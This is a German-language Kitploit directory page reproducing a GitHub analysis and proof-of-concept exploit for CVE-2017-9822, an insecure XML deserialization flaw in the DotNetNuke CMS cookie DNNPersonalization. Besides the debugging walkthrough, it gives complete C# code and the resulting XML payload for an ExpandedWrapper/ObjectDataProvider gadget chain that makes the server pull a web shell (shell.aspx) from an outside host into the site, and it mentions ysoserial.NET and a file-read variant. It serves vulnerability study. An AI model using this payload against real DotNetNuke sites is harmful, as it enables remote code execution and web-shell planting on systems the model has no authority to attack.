Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2017-9822 — Detaillierte Analyse und Proof-of-Concept-Exploit für CVE-2017-9822, eine XXE/unsichere Deserialisierungsschwachstelle in DotNetNuke CMS, die zu Remote-Code-Ausführung durch Cookie-Manipulation führt. | Kitploit
Tools/GitHubGitHub/tranphuc2005/cve-2017-9822
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsPayload-EntwicklungBinary-Exploitation
GitHubtranphuc2005/cve-2017-9822

CVE-2017-9822

Detaillierte Analyse und Proof-of-Concept-Exploit für CVE-2017-9822, eine XXE/unsichere Deserialisierungsschwachstelle in DotNetNuke CMS, die zu Remote-Code-Ausführung durch Cookie-Manipulation führt.

Repository anzeigen
vor 11 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2017-9822

DotNetNuke (oft abgekürzt als DNN) ist ein CMS (Content-Management-System) und Web-Anwendungs-Framework auf Basis der ASP.NET-Technologie von Microsoft.

Hauptinformationen

  • Betroffenes Produkt: DotNetNuke (DNN Platform) – ein beliebtes CMS/Portal .NET.
  • Veröffentlichungsdatum: Juli 2017.
  • Schweregrad: Kritisch (CVSS ~9.8).
  • Art der Schwachstelle: XML External Entity (XXE) / Unsichere Deserialisierung → Remote Code Execution (RCE).
  • Betroffen: Versionen vor 9.1.1 – Möglichkeit der Remote-Code-Ausführung über Cookie

Installationsanleitung

Hier verwende ich Windows 10 zum Einrichten und Debuggen des Programms. Die Version, die ich installiert habe, ist 9.1.0. Eine Anleitung zur Installation findet ihr hier. Das Ergebnis nach erfolgreicher Installation sieht so aus:

1

Analyse

1

  • Laut den gelesenen Berichten liegt diese Schwachstelle in der Cookie-Verarbeitung von DotNetNuke.
  • DNN verwendet eine unsichere Deserialisierungsmethode für das Cookie DNNPersonalization.

1

Debug

  • Hier verwende ich dnSpy, einen Decompiler und Debugger für .NET-Anwendungen (C#, VB.NET, F#...). Es ermöglicht das Anzeigen, Analysieren und Bearbeiten von Quellcode aus kompilierten Dateien wie .dll oder .exe für .NET. Die Installation ist hier möglich. Wir müssen zwei Versionen herunterladen, um das Debuggen durchzuführen.

1

  • Öffnen Sie zuerst DotNetNuke.dll mit der 32-Bit-Version und wählen Sie Edit Assembly Attributes (C#).

1

  • Ersetzen Sie dann die Zeile
root@kitploit:~
[assembly: Debuggable(DebuggableAttribute.DebuggingModes.IgnoreSymbolStoreSequencePoints)]
  • durch
root@kitploit:~
[assembly: Debuggable(DebuggableAttribute.DebuggingModes.Default |
DebuggableAttribute.DebuggingModes.DisableOptimizations |
DebuggableAttribute.DebuggingModes.IgnoreSymbolStoreSequencePoints |
DebuggableAttribute.DebuggingModes.EnableEditAndContinue)]

1

Speichern Sie anschließend.

  • Öffnen Sie die 64-Bit-Version mit Administratorrechten und wählen Sie Attach to Process.

1

  • Wählen Sie als nächstes w3wp.exe.

1

Der Grund für die Wahl von w3wp.exe ist:

  • w3wp.exe = IIS Worker Process.
  • Es ist der ausführende Prozess des Application Pools in IIS.
  • Wenn eine HTTP-Anfrage an die Website gesendet wird, erstellt IIS einen w3wp.exe (oder verwendet einen vorhandenen) zur Verarbeitung der Anfrage (Ausführung von ASP.NET-Code, Verarbeitung von Modulen, Middleware, Datenbankverbindungen usw.).
  • Jeder Application Pool kann je nach Konfiguration einen oder mehrere w3wp.exe-Prozesse haben (Webgarten, Recycling).

Als nächstes wählen Sie Debug -> Window -> Modules.

1

Nach Abschluss werden die Module angezeigt. Klicken Sie mit der rechten Maustaste auf ein beliebiges Modul und wählen Sie Open All Modules.

1

Schließlich werden alle Assemblys im Zusammenhang mit DNN angezeigt.

1

  • Gehen Sie in DotNetNuke.dll -> PersonalizationController#LoadProfile(int, int).

1

Diese Funktion dient zum Laden von Personalisierungsdaten (Profil) des Benutzers im DNN-Portal.

  • Wenn der Benutzer angemeldet ist → Profil aus Datenbank + Cache laden.
  • Wenn der Benutzer anonym ist (nicht eingeloggt) → Profil aus Cookie DNNPersonalization laden.

Hier sollten wir uns auf DNNPersonalization konzentrieren.

  • Wenn userId ungültig ist (anonymer Benutzer).

  • Prüfen, ob in der Anfrage ein Cookie DNNPersonalization vorhanden ist.

  • Wenn vorhanden → XML-Wert aus diesem Cookie holen.

  • Wir senden eine 404-Anfrage an die Website und verwenden ein beliebiges DNNPersonalization-Cookie. Mit dnSpy setzen wir einen Breakpoint bei DotNetNuke.dll –> PersonalizationController#LoadProfile(int, int) und debuggen.

1

1

  • Im Call Stack konzentrieren wir uns auf die Analyse der Klasse PortalSettings.

1

  • Bemerkenswert ist, dass hier eine if-Bedingung verwendet wird, um zu prüfen, ob die aktuelle Anfrage bereits IsAuthenticated ist.

  • Bei der von uns gesendeten 404-Anfrage ist sie unauthenticated.

  • Fahren wir im Call Stack fort und konzentrieren uns auf Handle404OrException.

1

  • Hier wird geprüft, ob context.User der aktuellen Anfrage null ist. Wenn ja, wird context.User auf den aktuellen Thread-Benutzer gesetzt.

1

1

  • In Handle404OrException sehen wir, dass die Variable IsAuthenticated jetzt true ist und der Benutzer der des IIS-Servers ist, sodass die Anfrage als authentifizierter Benutzer ausgeführt wird.

  • Der Grund für das Problem liegt in diesem Codeabschnitt:

root@kitploit:~
else if (transfer)
{
	if (context.User == null)
	{
		context.User = Thread.CurrentPrincipal;
	}
	response.TrySkipIisCustomErrors = true;
	IHttpHandler handler = new CDefault();
	context.Handler = handler;
	server.Transfer("~/" + text, true);
}
  • Wenn context.User noch nicht gesetzt ist → wird Thread.CurrentPrincipal (die aktuelle Identität des Threads) zugewiesen.
  • Dadurch erhält die Anfrage Benutzer-/Rolleninformationen bei der weiteren Verarbeitung.

=> Wenn wir beliebige Inhalte in das Cookie mit der Variable DNNPersonalization übergeben, wird dies wie ein normaler Benutzer behandelt.

Als nächstes betrachten wir die Cookie-Verarbeitung

  • Immer noch in DotNetNuke.dll –> PersonalizationController#LoadProfile(int, int).

  • Wir sehen, dass die Variable text den Wert aus dem Cookie erhält und dann als Eingabe für Globals.DeserializeHashTableXml() verwendet wird.

1

  • Gehen Sie zu Globals.DeserializeHashTableXml().

1

Die Funktion DeserializeHashTableXml hat die Aufgabe:

  • Nimmt einen XML-String (Source) entgegen.
  • Parst den XML-String, um ihn in ein Hashtable-Objekt umzuwandeln.
  • Ruft während des Parsens die Funktion XmlUtils.DeSerializeHashtable mit dem Parameter "profile" auf, um das XML-Root-Element festzulegen.

Gehen Sie in XmlUtils.DeSerializeHashtable und sehen Sie, wie es verarbeitet wird.

1

Die Funktion DeSerializeHashtable nimmt den XML-String entgegen und wandelt ihn in ein Hashtable um. Für jeden <item>-Knoten wird:

  • Der key als Schlüssel verwendet.
  • Der type ermittelt und Type.GetType(type) aufgerufen, um den Datentyp zu bestimmen.
  • XmlSerializer.Deserialize verwendet, um den XML-Inhalt in ein tatsächliches Objekt zu deserialisieren.
  • Dem Hashtable hinzugefügt.

👉 Problem: Da type und der XML-Inhalt vollständig vom Benutzer kontrolliert werden (aus dem Cookie DNNPersonalization).

Payload erstellen

Aufbauend auf XmlUtils#DeSerializeHashtable als Fehlerstelle erstellen wir ein ähnliches Programm zur Serialisierung und Deserialisierung von Objekten:

root@kitploit:~
using System.Xml;
using System.Diagnostics;
using System.Xml.Serialization;

namespace example
{
	public class Test  
	{    
	    private string _name;  
	    public string name  
	    {  
	        get { return _name; }  
	        set { this._name = value; execCMD(); }  
	    }  
	  
	    private void execCMD()  
	    {  
	        Process process = new Process();  
	        process.StartInfo.FileName = this._name;  
	        process.Start();  
	        process.Dispose(); // close  
	    }  
	}

    public class Program
    {
        private static string fileFolder = "D:\\lab\\csharp\\DNN\\example\\serialization\\";
        public static void Serialize(Object obj) // method xml serialize arbitrary object 
        {
            // create xml root element
            XmlDocument xmlDocument = new XmlDocument();
            XmlElement xmlElementRoot = xmlDocument.CreateElement("profile");
            xmlDocument.AppendChild(xmlElementRoot);

            // create child node item with attribute type containing object type name

            XmlElement xmlElementItem = xmlDocument.CreateElement("item");
            xmlElementItem.SetAttribute("type", obj.GetType().AssemblyQualifiedName);

            // serialize obj into xmlDocumentObj

            XmlDocument xmlDocumentObj = new XmlDocument();
            XmlSerializer xmlSerializer = new XmlSerializer(obj.GetType());
            StringWriter stringWriter = new StringWriter();
            xmlSerializer.Serialize(stringWriter, obj);
            xmlDocumentObj.LoadXml(stringWriter.ToString());
            // add xml serialized object to item node and add item node to root element
            xmlElementItem.AppendChild(xmlDocument.ImportNode(xmlDocumentObj.DocumentElement, true));

            xmlElementRoot.AppendChild(xmlElementItem);
    
            File.WriteAllText( fileFolder + "obj.xml", xmlDocument.OuterXml);

        }

        public static void DeSerialize(string xmlSource, string rootname)
        {
            // Hashtable hashtable = new Hashtable();
            if (!string.IsNullOrEmpty(xmlSource))
            {
                try
                {

                    XmlDocument xmlDocument = new XmlDocument();
                    xmlDocument.LoadXml(xmlSource);
                    foreach (object obj in xmlDocument.SelectNodes(rootname + "/item"))
                    {
                        XmlElement xmlElement = (XmlElement)obj;
                        string attribute = xmlElement.GetAttribute("key");
                        string attribute2 = xmlElement.GetAttribute("type");
                        XmlSerializer xmlSerializer = new XmlSerializer(Type.GetType(attribute2));
                        XmlTextReader xmlReader = new XmlTextReader(new StringReader(xmlElement.InnerXml));

                        // hashtable.Add(attribute, xmlSerializer.Deserialize(xmlReader));
                        // custom

                        Object objResult = xmlSerializer.Deserialize(xmlReader);
                        Test testObj = (Test) objResult;
                        Console.WriteLine("Deserialize sucessful: " + testObj.name);
                    }
                }
                catch (Exception)
                {
                }
            }
            // return hashtable;
        }
        static void Main(string[] args)
        {
            // serialize
            Test test = new Test();
            test.name = "notepad.exe"
            Serialize(test);
            // deserialize
            String xmlSource = File.ReadAllText(fileFolder + "obj.xml");
            DeSerialize(xmlSource, "profile");

        }
    }
}
  • Die xml-Datei sieht dann so aus:
root@kitploit:~
<?xml version="1.0" encoding="utf-8"?>
<profile>
  <item type="example.Test, ConsoleApp1, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null">
    <Test xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
          xmlns:xsd="http://www.w3.org/2001/XMLSchema">
      <name>notepad.exe</name>
    </Test>
  </item>
</profile>

1

  • Jetzt wechseln wir zu RCE.
  • Wir müssen ein Objekt finden, das Code ausführen kann, wenn Deserialize aufgerufen wird.
  • Hier finden wir FileSystemUtils PullFile method.

1

Erklärung:

  • PullFile(string URL, string FilePath) — statische Methode in FileSystemUtils, die den Inhalt von einer URL in den FilePath auf dem System herunterlädt.
  • Intern wird WebClient.DownloadFile(URL, FilePath) verwendet — das Herunterladen und Schreiben einer Datei.
  • Im catch wird der Fehler nur geloggt und eine Meldung zurückgegeben; es wird nicht weitergeworfen.

Aber das Problem ist: XmlSerializer kann keine Klassenmethoden serialisieren, sondern nur öffentliche Felder und Eigenschaften. Die öffentlichen Felder und Eigenschaften der Klasse FileSystemUtils haben keine, die die Methode PullFile aufrufen könnten.

Kommen wir zur ObjectDataProvider-Klasse.

  • ObjectDataProvider ist eine Klasse in WPF (Namespace System.Windows.Data, Modul PresentationFramework.dll).

  • Kann Methoden zur Laufzeit aufrufen — nicht nur Daten enthalten, sondern kann Aktionen ausführen (Nebenwirkungen), indem es eine beliebige Methode auf dem umschlossenen Objekt aufruft.

  • Ermöglicht die Übergabe von Parametern — ein Angreifer kann die Parameter steuern, die an die Methode übergeben werden (z. B. URL und Dateipfad für eine PullFile-Methode).

  • ObjectDataProvider führt selbst keinen Code wie ein Interpreter aus — aber es ermöglicht das Aufrufen jeder öffentlichen Methode auf dem umschlossenen Objekt. Wenn es also eine öffentliche Methode mit gefährlichen Nebenwirkungen gibt (z. B. Datei herunterladen, Prozess ausführen, Datei schreiben), kann eine Kette erstellt werden.

1

Hier wird Refresh() von DataSourceProvider aufgerufen.

1

Es geht weiter zu BeginQuery(). Beachten Sie, dass ObjectDataProvider von DataSourceProvider erbt, und wechseln wir zu BeginQuery() von ObjectDataProvider.

1

Weiter mit QueryWorker.

1

Es wird InvokeMethodOnInstance aufrufen.

1

InvokeMethodOnInstance ist die Methode, die tatsächlich ausführt (invoke) — sie verwendet Reflection, um die angegebene Methode (MethodName) auf dem Objekt aufzurufen, das ObjectDataProvider "umschließt" (oder auf dem Typ, falls statisch), wobei die Liste der MethodParameters übergeben wird, und gibt das Ergebnis der Methode zurück.

Mit der IDE JetBrains Rider ein Skript schreiben. Es muss auf die Module DotNetNuke.dll und PresentationFramework.dll verwiesen werden.

1

Wir haben folgenden ausführbaren Payload:

root@kitploit:~
using System;  
using System.IO;  
using System.Xml;  
using System.Xml.Serialization;  
using System.Windows.Data;              // ObjectDataProvider  
using DotNetNuke.Common.Utilities;      // FileSystemUtils (wenn Sie die DLL hinzugefügt haben)  
using System.Data.Services.Internal;    // ExpandedWrapper (falls vorhanden)  
  
namespace example  
{  
    public class Program  
    {  
        private static string fileFolder = "C:\\Users\\chinh\\Documents\\DNN"; // CHANGE THIS  
        public static void Serialize(Object obj) // method xml serialize arbitrary object   
        {  
            // create xml root element  
            XmlDocument xmlDocument = new XmlDocument();  
            XmlElement xmlElementRoot = xmlDocument.CreateElement("profile");  
            xmlDocument.AppendChild(xmlElementRoot);  
  
            // create child node item with attribute type containing object type name  
            XmlElement xmlElementItem = xmlDocument.CreateElement("item");  
            xmlElementItem.SetAttribute("type", obj.GetType().AssemblyQualifiedName);  
  
            // serialize obj into xmlDocumentObj  
            XmlDocument xmlDocumentObj = new XmlDocument();  
            XmlSerializer xmlSerializer = new XmlSerializer(obj.GetType());  
            StringWriter stringWriter = new StringWriter();  
            xmlSerializer.Serialize(stringWriter, obj);  
            xmlDocumentObj.LoadXml(stringWriter.ToString());  
  
            // add xml serialized object to item node and add item node to root element  
        xmlElementItem.AppendChild(xmlDocument.ImportNode(xmlDocumentObj.DocumentElement, true));  
            xmlElementRoot.AppendChild(xmlElementItem);  
            File.WriteAllText(fileFolder + "obj.xml", xmlDocument.OuterXml);  
        }  
  
        public static void DeSerialize(string xmlSource, string rootname)  
        {  
            // Hashtable hashtable = new Hashtable();  
            if (!string.IsNullOrEmpty(xmlSource))  
            {  
                try  
                {  
                    XmlDocument xmlDocument = new XmlDocument();  
                    xmlDocument.LoadXml(xmlSource);  
                    foreach (object obj in xmlDocument.SelectNodes(rootname + "/item"))  
  
                    {  
                        XmlElement xmlElement = (XmlElement)obj;  
                        string attribute = xmlElement.GetAttribute("key");  
                        string attribute2 = xmlElement.GetAttribute("type");  
                        XmlSerializer xmlSerializer = new XmlSerializer(Type.GetType(attribute2));  
                        XmlTextReader xmlReader = new XmlTextReader(new StringReader(xmlElement.InnerXml));  
                        // hashtable.Add(attribute, xmlSerializer.Deserialize(xmlReader));  
                        // custom  
                        Object objResult = xmlSerializer.Deserialize(xmlReader);  
                    }  
                }  
                catch (Exception)  
                {  
                }  
            }  
            // return hashtable;  
        }  
        static void Main(string[] args)  
        {  
            ExpandedWrapper<FileSystemUtils, ObjectDataProvider> expandedWrapper = new ExpandedWrapper<FileSystemUtils, ObjectDataProvider>();  
            expandedWrapper.ProjectedProperty0 = new ObjectDataProvider();  
            expandedWrapper.ProjectedProperty0.ObjectInstance = new FileSystemUtils();  
            expandedWrapper.ProjectedProperty0.MethodName = "PullFile";  
    expandedWrapper.ProjectedProperty0.MethodParameters.Add("https://192.168.72.102:8000/shell.aspx");  
            expandedWrapper.ProjectedProperty0.MethodParameters.Add("C:\\Web\\DNN_Platform_9.1.0.367_Install\\js\\shell.aspx");  
  
            Console.WriteLine("Done!!");  
            Serialize(expandedWrapper);  
  
            String xmlSource = File.ReadAllText(fileFolder + "obj.xml");  
            DeSerialize(xmlSource, "profile");  
  
        }  
    }  
}

Wir erhalten die folgende XML-Datei:

root@kitploit:~
<profile>
  <item key="myTableEntry" type="System.Data.Services.Internal.ExpandedWrapper`2[[DotNetNuke.Common.Utilities.FileSystemUtils],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089">
    <ExpandedWrapperOfFileSystemUtilsObjectDataProvider xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
      <ExpandedElement/>
      <ProjectedProperty0>
        <MethodName>PullFile</MethodName>
        <MethodParameters>
          <anyType xsi:type="xsd:string">http://192.168.72.102:8000/shell.aspx</anyType>
          <anyType xsi:type="xsd:string">C:\Web\DNN_Platform_9.1.0.367_Install\js\shell.aspx</anyType>
        </MethodParameters>
        <ObjectInstance xsi:type="FileSystemUtils"></ObjectInstance>
      </ProjectedProperty0>
    </ExpandedWrapperOfFileSystemUtilsObjectDataProvider>
  </item>
</profile>

Payload einfügen:

1

1

1

Jetzt ausnutzen:

1

Alternativ können wir das Tool ysoserial.NET verwenden, um den Payload zu generieren:

1

1

Darüber hinaus können wir auch die Datei-Lese-Funktion von WriteFile der Klasse FileSystemUtils ausnutzen:

1

1

Tool herunterladen